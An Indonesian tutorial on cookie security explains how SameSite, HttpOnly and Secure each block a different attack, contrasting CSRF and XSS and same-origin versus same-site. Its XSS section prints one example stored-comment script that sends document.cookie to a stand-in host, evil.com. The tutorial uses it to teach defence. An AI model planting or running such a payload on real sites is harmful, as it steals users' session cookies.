Keamanan cookie: SameSite, HttpOnly, Secure
Anggap situs Anda sebuah klub privat, dan cookieⓘ sebagai gelang yang membuktikan Anda anggota. Tiap kali Anda mengetuk pintu — memuat sebuah halaman — browser menunjukkan gelang itu, dan Anda tak perlu login ulang. Masalahnya: gelang itu berharga. Kalau seseorang menyalinnya, atau menipu Anda agar memakainya di tempat yang salah, mereka menjadi Anda.
Tiga flag pada satu cookie menutup tiga celah berbeda. Bukan tiga versi dari hal yang sama — tiga
penjaga yang berjaga di tiga pintu yang berlainan. Artikel ini menjelaskan masing-masing dengan diagram,
lalu menutup dengan satu baris Set-Cookie yang sebaiknya Anda pakai untuk cookie login biasa.
Tiga flag, tiga pertanyaan berbeda
Kunci memahami ketiganya: mereka menjawab pertanyaan yang berbeda. Campur aduk keduanya adalah sumber kebingungan paling umum.
- SameSiteⓘ — apakah cookie ikut menempel pada request ini? Ia mengontrol request lintas-situs (cross-site). Ini menahan CSRFⓘ.
- HttpOnlyⓘ — apakah JavaScript di halaman bisa membaca nilai cookie?
Kalau dinyalakan,
document.cookietak melihatnya. Ini membatasi kerusakan dari XSSⓘ. - Secureⓘ — bolehkah cookie lewat HTTP polos? Tidak — hanya lewat HTTPSⓘ, jadi tak ada yang bisa menyadapnya di jalan.
Untuk cookie sesiⓘ sebuah login, Anda memakai ketiganya. Bentuk header-nya begini:
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600
Pertama: apa itu "top-level navigation"
Tiap penjelasan SameSite bersandar pada frasa navigasi GET top-level, lalu tak pernah
mendefinisikannya. Padahal seluruh fitur ini dibangun di atas perbedaan itu, jadi mari kita tuntaskan.
Ini soal beda antara seluruh halaman berpindah dan sebuah halaman mengambil sesuatu di latar belakang sementara Anda tetap di tempat.
Top-level navigationⓘ adalah yang terjadi ketika Anda mengklik link dan seluruh tab pindah ke tempat lain. Alamat di address bar berubah. Anda melihat situs barunya. Semuanya kasatmata bagi Anda.
Request subresourceⓘ adalah request yang dikirim halaman yang
sedang terbuka tanpa halaman itu beranjak — fetch(), <img>, <script>, <iframe>. Address bar tak
pernah bergerak. Tak ada apa pun di layar yang memberi tahu Anda bahwa itu terjadi.
Perbedaan itulah alasan Lax ada, dan ujungnya satu pertanyaan: siapa yang boleh membaca balasannya?
- Pada top-level navigation, penyerang cuma mengarahkan Anda ke suatu tempat. Responsnya dirender di halaman yang tak bisa dibaca JavaScript-nya — itu urusan same-origin policyⓘ, aturan yang sama sekali terpisah dari cookie. Mengirim cookie di sini relatif tak berbahaya: Anda tahu Anda ada di mana, dan dia tak tahu isinya apa.
- Pada fetch di latar belakang, JavaScript-nya membaca isi responsnya. Ini jelas berbahaya.
Lalu GET mempersempitnya satu langkah lagi: mengklik link atau mengikuti redirect, bukan mengirim
form. POST lintas-situs yang memindahkan halaman adalah CSRFⓘ transfer-uang
klasik — Anda memang melihat halaman hasilnya, tapi kerusakannya sudah terjadi, jadi Lax tak mengirim
cookie untuk itu.
Lalu: same-origin vs same-site
Atributnya bernama SameSite, bukan SameOrigin, dan kata itu menanggung beban makna. Origin dan site
adalah dua batas berbeda dengan aturan berbeda — dan mencampuradukkannya adalah sumber sebagian besar bug
"kenapa cookie saya tak kebagian?".
Mulai dari URL-nya sendiri, karena tiap aturan di bawah ditulis dengan istilah bagian-bagiannya. Ambil satu alamat:
https://app.example.com:443/api/data
└─┬─┘ └──────┬──────┘ └┬┘ └───┬───┘
scheme host port path
| Bagian | Di sini | Artinya | Dihitung untuk… |
|---|---|---|---|
| scheme | https | protokolnya — cara berbicara dengannya. http dan https adalah dua scheme berbeda. | origin dan site |
| host | app.example.com | nama mesinnya, dibaca dari kanan ke kiri: com → example.com → subdomain app. | origin secara persis; site hanya setelah subdomain dilipat |
| port | 443 | pintu mana di mesin itu. 443 adalah default HTTPS (80 untuk HTTP), jadi browser menyembunyikannya — ia tetap ada entah Anda mengetiknya atau tidak. | origin saja |
| path | /api/data | sumber daya mana di host itu. | tak keduanya — tak ada batas keamanan yang ditarik di path |
Baris terakhir itu sering mengejutkan: /admin dan /public berada di origin yang sama dan site yang
sama, jadi tak ada satu pun aturan di artikel ini yang memisahkan keduanya. (Cookie memang punya atribut
Path, tapi itu kemudahan pencakupan, bukan batas keamanan — script di origin yang sama selalu bisa
menjangkau cookie di path lain.)
Setelah bagian-bagiannya bernama, kedua batas itu hanyalah dua himpunan bagian yang berbeda darinya.
Originⓘ adalah scheme + host + port, dan ketiganya harus sama persis.
Inilah batas paling ketat di browser: api.example.com dan www.example.com sama asingnya satu sama
lain seperti example.com dan evil.com.
Siteⓘ adalah scheme + registrable domain. Ia melipat semua subdomain jadi satu dan mengabaikan port sepenuhnya — batas yang jauh lebih longgar.
Singkatan yang dibawa kebanyakan orang di kepala itu benar, dan layak dicatat:
origin = https://app.example.com:443 ← host ini persis, port ini persis
site = https://*.example.com ← subdomain apa pun, port berapa pun
| A | B | Same origin? | Same site? |
|---|---|---|---|
https://app.example.com | https://api.example.com | ❌ host beda | ✅ example.com |
https://example.com/login | https://example.com/api/x | ✅ path tak dihitung | ✅ |
https://example.com | https://example.com:8443 | ❌ port beda | ✅ port diabaikan |
https://example.com | http://example.com | ❌ scheme beda | ❌ scheme dihitung* |
https://app.acme.io | https://team.acme.io | ❌ host beda | ✅ acme.io |
https://app.acme.io | https://app.example.com | ❌ | ❌ domain beda |
* Browser modern memakai schemeful same-siteⓘ, jadi http dan
https dihitung sebagai dua site berbeda. Perilaku lama mengabaikan scheme, dan itu membuka jalan bagi
penyerang di jaringan untuk menanam cookie lewat HTTP polos yang lalu dipercaya oleh situs HTTPS-nya.
Baris pertama itulah yang paling sering Anda temui: cross-origin tapi same-site. Front-end di satu
subdomain memanggil API di subdomain lain itu cross-originⓘ — jadi
CORSⓘ berlaku — sementara SameSite sama sekali tak keberatan, karena kedua host
melipat ke registrable domain yang sama. Meraih SameSite=None untuk "memperbaiki" itu adalah salah
diagnosis: sejak awal ia bukan penghalangnya.
Jebakannya: jumlah label tak bisa sekadar dihitung
Registrable domainⓘ itu bukan "dua label terakhir". Ia satu label di atas public suffix — dan daftar public suffix dipelihara manual.
Menghitung label pada shop.example.co.uk secara naif akan memberi Anda co.uk — dan itu akan membuat
tiap bisnis yang terdaftar di bawah co.uk jadi same-site satu sama lain, bebas menetapkan cookie milik
yang lain.
Public Suffix Listⓘ ada persis untuk mencegah itu. Aturan ini
juga berlaku sebaliknya: github.io ada di daftar tersebut, jadi alice.github.io dan bob.github.io
adalah site yang berbeda. Tanpa entri itu, tiap pengguna GitHub Pages bisa menetapkan cookie untuk
pengguna lain.
Aturan mana mengatur apa
Inilah hasil praktisnya. Tiga mekanisme yang Anda sentuh dalam satu sore yang sama, tiga tingkat granularitas berbeda:
Perhatikan bahwa cookie jadi anomali dua kali. Ia lahir mendahului model origin, jadi sejak dulu
cakupannya berbasis domain — artinya cookie sama sekali tak dilindungi oleh origin.
http://example.com:3000 dan https://example.com:8080 berbagi satu toples cookie meski keduanya tiga
origin yang berbeda.
Itulah yang membuat bug jenis ini halus. Tiga setelan yang tampak seperti satu keputusan sebenarnya bekerja di tingkat yang berlainan:
'domain' => '.example.com', // aturan SUFIKS DOMAIN: HOST mana yang menerima cookie
'sameSite' => 'Lax', // aturan SITE: apakah request lintas-SITE membawanya
// dan, di tempat lain, di middleware CORS Anda:
'allowedOrigins' => ['https://app.example.com'], // aturan ORIGIN: siapa yang boleh MEMBACA respons
Kalau yang Anda inginkan adalah berbagi host front-end → host API, itu cross-origin dan same-site:
atribut Domainⓘ yang menanganinya, dan daftar izin yang
menangani bagian bacanya. SameSite tak pernah menghalangi — jadi melonggarkannya ke None tak membeli
apa pun dan justru membuka baris fetch() lintas-situs yang tadinya Anda andalkan untuk diblokir.
SameSite: Strict, Lax, None
Sekarang ketiga nilainya masuk akal, karena ketiganya hanyalah tiga tempat untuk menarik garis di skala yang sama: seberapa jauh cookie masih ikut menempel saat request datang dari situs lain. Semakin longgar, semakin nyaman — dan semakin besar permukaan serangan.
Pilih satu nilai dan satu situasi di bawah. Matriksnya tetap di layar supaya sel yang Anda pilih terbaca dalam konteks, bukan sendirian:
Cookie SENT — an inbound link click under SameSite=Lax. A top-level GET navigation: the address bar changed, and whoever sent you there cannot read the page that renders — the same-origin policy stops them. Lax judges that harmless enough to send the cookie, so the user arrives logged in.
Lax — “also when the user clicks their way in.” The browser default when you set no attribute at all, and the right answer for roughly every session cookie.
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax| Yang sedang terjadi | Strict | Lax | None |
|---|---|---|---|
| Request same-site — jenis apa pun | ✅ | ✅ | ✅ |
Klik link dari situs lain (GET top-level) | ❌ | ✅ | ✅ |
Redirect balik dari situs lain (GET top-level) | ❌ | ✅ | ✅ |
POST form lintas-situs | ❌ | ❌ | ✅ |
fetch() / XHR lintas-situs | ❌ | ❌ | ✅ |
<img> / <script> / <iframe> dari situs lain | ❌ | ❌ | ✅ |
Lax adalah yang dipakai browser modern kalau Anda tak menulis atribut apa pun. None mewajibkan
Secure — pasang lewat HTTP polos dan browser membuang cookie-nya sama sekali, jadi tak ada yang tetap
login.
Dalam bahasa sehari-hari
Strict — "hanya kalau penggunanya memang sudah ada di situs saya." Paling aman, dan punya satu
kerepotan yang terkenal: Anda sedang login di GitHub, rekan mengirimi Anda link ke repo privat, Anda
mengkliknya — dan mendarat dalam keadaan logout. Cookie-nya tak dikirim, karena Anda datang dari
aplikasi chat. Anda refresh, dan sekarang Anda login, karena request kedua itu berasal dari GitHub
sendiri.
Lax — "juga kalau penggunanya mengklik masuk sendiri." Ia menghapus kerepotan tadi sambil tetap
memblokir tiap request latar belakang. Kasus redirect login jalan; kasus fetch diam-diam tidak. Inilah
alasan Lax jadi default: ia titik manis untuk hampir semua cookie.
None — "selalu, tak peduli siapa yang meminta." Anda sedang melepas proteksinya sepenuhnya. Ini sah
kalau cookie Anda memang harus berfungsi di dalam halaman orang lain — widget chat tertanam, iframe
pembayaran, penyedia SSO yang melayani banyak domain tak berkerabat. Ini bukan sesuatu yang dipasang
"biar aman".
| Mode | Cookie ikut saat… | Cocok untuk | Ongkosnya |
|---|---|---|---|
| Strict | hanya request same-site (dari dalam situs Anda sendiri) | aksi paling sensitif — panel admin, perbankan, token anti-CSRF | klik link dari luar bikin pengguna tampak logout sampai ia menavigasi di dalam situs |
| Lax (default) | request same-site + klik link lintas-situs (navigasi GET top-level) | hampir semua cookie sesi — seimbang | hampir tak ada; ini titik manis |
| None | semua request, termasuk lintas-situs | kebutuhan lintas-situs asli — SSO, widget tertanam, iframe pembayaran | wajib Secure; SameSite tak lagi melindungi CSRF — Anda harus tambah token CSRF sendiri |
Sekarang ketiga flag dalam kombinasi. Atur ketiganya di bawah dan lihat serangan mana yang diblokir atau
dibiarkan terbuka — panel dan verdict-nya berubah langsung, dan baris Set-Cookie di bawah persis yang
akan Anda kirim.
The recommended login cookie. It blocks CSRF, XSS token theft, and wire sniffing, with no usability cost. This is the one to ship.
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=LaxLax, kasus per kasus (yang benar dan yang bocor)
Lax cuma peduli satu perbedaan: apakah request ini navigasi GET top-level (address bar benar-benar
berubah) atau bukan (POST, fetch latar, iframe, gambar). Cookie ikut hanya untuk yang pertama.
Cara jernih menilainya: tugas cookie adalah hadir untuk Anda yang sah dan absen untuk penyerang. Anggap "positif" = cookie dikirim.
| Kasus | Cookie dikirim? | Klasifikasi | Artinya |
|---|---|---|---|
| Klik link sah dari situs lain ke bank.com | Ya | True positive ✓ | Anda tiba dalam keadaan login — benar dan nyaman |
evil.com auto-POST transfer (CSRF) | Tidak — ditahan | True negative ✓ | request palsu tiba tanpa sesi → ditolak. Ini inti Lax |
| evil.com memuat akun Anda di iframe / fetch | Tidak — ditahan | True negative ✓ | situs lain tak bisa diam-diam menarik data Anda |
Redirect SSO / OAuth yang balik via POST lintas-situs | Tidak — ditahan | False negative ⚠ | alur sah tapi tampak logout di tengah jalan — pakai SameSite=None untuk cookie itu saja |
Link GET yang mengubah state: /transfer?to=… | Ya | False positive ✗ | Lax tetap mengirim cookie di navigasi GET — makanya jangan pernah mengubah state lewat GET |
Satu baris untuk diingat: Lax mengirim cookie kalau pengguna sengaja menavigasi ke situs saya (address
bar berubah lewat link/GET), tapi tidak kalau situs saya dihubungi di latar atau lewat form-submit dari
halaman orang lain.
CSRF: request palsu dari situs lain
CSRF (cross-site request forgery) adalah serangan yang dibuat untuk dihentikan SameSite. Ini dia dalam
gerak lambat — ikuti langkah bernomor di diagram:
- Anda login ke
bank.com. Ia menyetel cookie sesi Anda. Kalau cookie itu ditandaiSameSite=None, browser akan mengirimnya di setiap request kebank.com— bahkan yang dimulai situs lain. - Tanpa logout, Anda membuka
evil.com— sebuah tab, iklan, atau link di email. evil.comdiam-diam menembakkan request ke bank: sebuah form tersembunyi ataufetchmenjalankanPOST bank.com/transfer?to=attacker. Tak ada yang tampak di layar.- Browser Anda menempelkan cookie
bank.comAnda ke request itu — karenaSameSite=Nonemenyuruhnya. Inilah langkah yang paling sering disalahpahami:evil.comtak pernah melihat cookie Anda. Ia tak bisa membaca nilainya. Browser yang menempelkannya otomatis, dalam perjalanan ke bank. bank.commenerima request dengan sesi valid dan menjalankan transfer. Bagi bank, tampak persis seperti Anda yang mengklik tombolnya. Uang lenyap.
Jadi cookie tak pernah dicuri — ia menumpang. Penyerang meminjam sesi login Anda untuk satu request.
(Membaca nilai cookie adalah serangan berbeda — XSS, berikutnya — dan itulah yang dihentikan HttpOnly.)
Perbaikannya satu kata. Setel SameSite=Lax (sudah jadi default browser) atau Strict. Di langkah 4,
browser melihat POST palsu itu, menyadari ini request lintas-situs yang bukan navigasi top-level, lalu
menahan cookie. bank.com menerima request anonim dan menjawab 401. Serangan yang sama, kini mati —
tanpa kode tambahan di sisi bank.
XSS: lubang yang tak bisa ditutup SameSite
Sekarang serangan yang tak disentuh SameSite. XSS (cross-site scripting) adalah saat penyerang
berhasil menjalankan JavaScript mereka di halaman Anda sendiri. Pengantarannya yang klasik: sebuah
komentar tersimpan — teks komentar penyerang itu harfiah begini:
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
Sekarang ikuti langkah bernomor di diagram:
- Penyerang mengirim komentar itu di halaman mana pun yang mengizinkan komentar.
- Server Anda menyimpannya di database, mentah — teksnya tak pernah di-escape. (Salah konfigurasi #1: tak disanitasi.)
- Belakangan, korban membuka halaman komentar, dan server mengirim komentar tersimpan itu kembali ke browser (backend → frontend).
- Halaman me-render komentar itu tanpa di-escape, jadi
<script>-nya menjadi kode hidup, bukan teks — dan karena CSPⓘ halaman mengizinkanunsafe-inline, browser membiarkan script inline itu berjalan. (Salah konfigurasi #2 dan #3.) - Script itu berjalan sebagai situs Anda sendiri dan membaca
document.cookie. DenganHttpOnly=falseia bisa melihat nilai sesi, jadi ia mengirim cookie Anda keevil.com. Token dicuri dan bisa diputar ulang.
Script itu jalan sebagai situs Anda (same-originⓘ), bukan request
lintas-situs — jadi SameSite tak punya suara di sini. Tiga salah konfigurasi harus sejajar; putus salah
satunya saja dan pencurian gagal. HttpOnly=true adalah kunci milik cookie itu sendiri: document.cookie
mengembalikan string kosong, jadi meski script berjalan, JavaScript tak pernah melihat token — tak ada yang
bisa di-exfiltrasi dan diputar ulang.
"Cross-site scripting" itu salah nama
Perlu dipatok, karena namanya justru menyesatkan orang soal batas mana yang sebenarnya dilewati.
Namanya bilang cross-site. Mekanismenya same-origin. Radius ledakannya same-site. Tiga jawaban berbeda, satu akronim.
Istilah ini dicetuskan sekitar tahun 2000, dan waktu itu ia memang menggambarkan serangan yang benar-benar lintas-situs — halaman penyerang memuat situs korban di dalam frame lalu men-script menyeberangi batas frame itu. Browser menutup celah spesifik itu dengan menegakkan same-origin policy pada frame. Namanya hidup lebih lama daripada serangan yang ia namai, lalu menempel ulang ke penyuntikan script, yang sebenarnya hal berbeda. HTML injection atau script injection jauh lebih tepat menggambarkan XSS hari ini.
Same-origin itulah seluruh tingkat keparahannya. Kalau script yang disuntikkan berjalan di origin penyerang, XSS bukan peristiwa apa-apa — itu cuma sebuah situs menjalankan JavaScript, dan memang itu pekerjaan situs. Seluruh bahayanya lahir dari fakta bahwa ia berjalan di origin Anda:
| Script suntikan itu bisa… | Karena… |
|---|---|
| Membaca seluruh DOM, termasuk isian form | origin-nya sama |
Membaca localStorage / IndexedDB | storage cakupannya per-origin |
| Memanggil API Anda sendiri dan membaca responsnya | same-origin — CORS tak berlaku |
| Bertindak memakai sesi penggunanya | cookie menempel otomatis |
Perhatikan baris ketiga sejenak. CORS sama sekali tak relevan untuk XSS. Semua kerja teliti menyusun daftar izin di konfigurasi CORS Anda melindungi dari origin lain; ia tak berbuat apa-apa begitu kode penyerang sudah berjalan di dalam origin Anda sendiri.
Dan "site" memang kembali muncul — untuk radius ledakannya. Eksekusi script berbasis origin, tapi
cookie dicocokkan lewat sufiks domainⓘ. Jadi XSS di satu host
bernilai rendah di bawah domain Anda — microsite marketing lama, tool admin yang terlupakan — menaruh tiap
cookie bercakupan Domain=.example.com dalam jangkauan, dan script-nya bisa memanggil semua service di
bawah domain itu dengan status terautentikasi. Eksekusinya same-origin; akibatnya menyebar same-site. Ini
juga argumen penentang wildcard *.example.com di daftar izin CORS: satu subdomain yang diambil alih di
mana pun langsung jadi akses setingkat sesi di mana-mana.
SameSite menghentikan request palsu. HttpOnly menghentikan token yang dicuri. Secure menghentikan jalur yang disadap. XSS-nya sendiri Anda matikan di hulu dengan CSP dan encoding — flag hanya membatasi kerusakannya.
CSRF vs XSS: scope Request vs scope Scripting
Kedua serangan berbagi kata depan yang sama — Cross-Site — jadi keduanya mudah tertukar. Bedanya ada di kata berikutnya, dan itulah inti seluruhnya: kata itu menamai scope yang diserang masing-masing.
- CSRF = Cross-Site Request Forgery. Scope-nya adalah request. Situs lain membuat browser Anda
mengirim sebuah request; cookie Anda ikut menempel otomatis. Karena ini request lintas-situs,
SameSitemelihatnya dan menahan cookie — selesai. - XSS = Cross-Site Scripting. Scope-nya adalah script — perhatikan tak ada "R", tak ada yang
dipalsukan antar-situs. Sebaliknya sebuah script disuntikkan ke halaman Anda sendiri; saat ia jalan
(sebagai situs Anda sendiri) ia membaca
document.cookielangsung. Itu bukan request lintas-situs, jadiSameSitetak pernah melihatnya. Satu-satunya perbaikan adalahHttpOnly=true, yang menyembunyikan cookie dari script.
Jadi kedua flag tak pernah tumpang-tindih: SameSite menjaga batas request, HttpOnly menjaga batas
script. Tak ada yang bisa menggantikan tugas yang lain.
Secure: menjaga jalur
Secure adalah yang paling sederhana: cookie hanya dikirim lewat HTTPS, tak
pernah lewat HTTP polos. Tanpa ini, siapa pun yang menyadap jaringan — Wi-Fi kafe, proxy nakal — membaca
cookie langsung dari request, meski HttpOnly memblokir pembacaan lewat script. HttpOnly menjaga cookie
dari JavaScript; Secure menjaganya dari kabel.
Itu sebabnya SameSite=None mewajibkan Secure: cookie yang dikirim ke mana-mana sama sekali tak
boleh pernah menyeberang dalam bentuk teks jelas.
Gabungkan ketiganya
Ketiga flag menutup tiga kelas serangan yang tak beririsan. Tak ada satu sel pun tempat mereka saling menggantikan — Anda butuh ketiganya.
Lakukan
- Set
Secure; HttpOnly; SameSite=Laxpada tiap cookie sesi/auth. - Simpan aksi yang mengubah state di
POST/PUT/DELETE, tak pernahGET. - Kalau butuh
SameSite=None, pasangkan denganSecuredan token CSRF.
Jangan
- Jangan andalkan
HttpOnlyuntuk mencegah XSS — ia hanya membatasi blast radius-nya. - Jangan pakai
SameSite=None"biar aman dari error" — itu mematikan proteksi CSRF bawaan. - Jangan taruh operasi mengubah-state di link
GET— Lax tetap mengirim cookie di sana.
Pertanyaan umum
Apa persisnya “top-level GET navigation” itu?
Seluruh tab berpindah karena Anda mengklik link atau mengikuti redirect — alamatnya berubah dan Anda bisa
melihat sendiri Anda mendarat di mana. fetch(), <img>, <iframe>, atau POST form tidak termasuk:
halamannya tetap diam. Lax mengirim cookie untuk jenis pertama dan mencabutnya dari semua sisanya,
karena pada navigasi si pengirim tak bisa membaca halaman yang ia tuju-kan untuk Anda, sedangkan pada
request latar belakang script-nya membaca balasannya.
Front-end dan API saya beda subdomain — apa saya butuh SameSite=None?
Hampir pasti tidak. Beda subdomain itu cross-origin tapi same-site, dan request same-site membawa
cookie di ketiga nilai, termasuk Strict. Yang Anda butuhkan adalah atribut Domain pada cookie (supaya
kedua host menerimanya) dan daftar izin CORS (supaya browser membolehkan front-end membaca responsnya).
Menyetel None tidak membuka apa pun di situ — ia hanya membuka jalur fetch() lintas-situs yang justru
ingin Anda blokir.
Kalau saya tak set SameSite sama sekali, apa yang terjadi?
Browser modern menganggapnya Lax. Jadi Anda sudah dapat proteksi CSRF dasar tanpa menulis apa pun —
tapi tetap tulis eksplisit agar niatnya jelas dan konsisten lintas-browser.
HttpOnly bikin cookie tak berguna buat JavaScript saya — bagaimana?
Itu memang tujuannya untuk cookie sesi: token auth tak seharusnya disentuh script. Kalau front-end Anda
butuh membaca sesuatu, simpan data non-sensitif itu di cookie/penyimpanan terpisah, dan biarkan token
sesi tetap HttpOnly.
Kalau saya sudah pakai token CSRF, apakah SameSite masih perlu?
Ya — pertahanan berlapis. SameSite=Lax mematikan sebagian besar vektor CSRF di transport, jadi token
CSRF jadi jaring pengaman, bukan satu-satunya pertahanan. Keduanya murah; pakai keduanya.
Apakah Secure bikin cookie aman dari XSS?
Tidak. Secure hanya soal jalur (HTTPS), bukan akses script. Yang menahan pencurian token lewat
document.cookie adalah HttpOnly; yang menahan XSS sejak awal adalah output encoding + CSP.
Intinya
Tiga flag, tiga serangan. SameSite=Lax menghentikan request lintas-situs palsu (CSRF). HttpOnly
menghentikan token dicuri oleh script (XSS). Secure menjaganya agar tak pernah menyeberang dalam teks
jelas. XSS-nya sendiri Anda matikan di hulu dengan CSP + encoding; flag hanya membatasi kerusakannya.
Untuk cookie login biasa, tiga kata sudah cukup: Secure; HttpOnly; SameSite=Lax.
Ini bagian dari rangkaian keamanan yang sama dengan SSL & keamanan di edge (TLS, HSTS, CSP, WAF) dan DNSSEC: segel anti-utak-atik untuk DNS.
Sources